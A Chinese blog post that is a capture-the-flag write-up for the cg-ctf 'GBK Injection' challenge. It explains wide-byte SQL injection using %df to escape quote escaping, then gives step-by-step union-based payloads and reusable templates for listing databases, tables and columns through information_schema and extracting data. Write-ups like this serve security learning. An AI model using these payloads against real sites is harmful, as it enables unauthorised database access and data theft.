美文网首页ctf
cg-ctf GBK Injection

cg-ctf GBK Injection

作者: byc_404 | 来源:发表于2019-07-25 21:36 被阅读0次

      这几天开始逐渐接触sql注入之类的ctf题目,由于自己太菜,只能依葫芦画瓢混了几个flag,结果最后也没有感觉真正学到什么。

      但是,在做cg-ctf上这道GBK-injection时,即使是按照wp知道的思路,但还是学到了不少。

    题目链接:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

    (起初看到的wp是用sqlmap做的,但是我电脑上只有python3,跑不起来,,,只能回头在虚拟机里用了)

    首先是GBK注入的原理,参考了大佬的总结:https://blog.csdn.net/weixin_42419856/article/details/82872653

    这里简而言之,是利用了注入时对单引号' 的依赖,由于gbk是宽字符集,sql使用gbk字符时,一个gbk编码的汉字占两个字节。比如:%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’。这个例子在道哥的《白帽子讲web安全》中也有提到

    所以网上许多篇wp中为了使单引号逃逸而使用了%df(ascii码值大于128,使得认定为宽字符,因此还有许多其他的url编码可以使用)就是这个道理。

    下面是手工注入的几个步骤:

    1.盲注:

    ?id=1%df' and 1=2 %23

    页面正常返回,确认该点存在注入

    2.查数据库名

    ?id=1%df' and 1=2 union select 1,database() %23

    确认了库名为sae-chinalover

    得到库名

    3.查表名

    ?id=1%df' and 1=2 union select 1,group_concat(table_name) from information_schema.TABLES where table_schema=0x7361652d6368696e616c6f766572 %23

    这里的查表公式如下:

     union select 1,group_concat(table_name) from information_schema.TABLES where table_schema=(十六进制数据库名,也就是sae-chinalover的十六进制) %23   

    得到六张表名

    4.查列名

    这里都试了一遍查表的url,终于在gbksqli里找到了列flag......(其实从ctf的尿性看,与gbk名字相关的表有flag概率很大)

    id=1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.COLUMNS where table_name=0x67626b73716c69 %23

    得到gbksqli列名flag

    查列名公式如下:

    ?id = 1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.COLUMN where table_name=(十六进制某表名) %23

    这里如果有sqlmap就简单多了。。。不用一个个看有没有回显

    5.得flag值

    ?id=1%df' and 1=2 union select 1,flag from gbksqli %23

    flag值

    终于得到了flag

    获取列中数据公式如下:

    ?id = 1%df' and 1=2 union select 1,(某列名) from (某表名) %23  ---------------获取列中数据

    今后会开始逐渐尝试做下sql注入的题目,完善技巧。

    相关文章

      网友评论

        本文标题:cg-ctf GBK Injection

        本文链接:https://www.haomeiwen.com/subject/ovvkrctx.html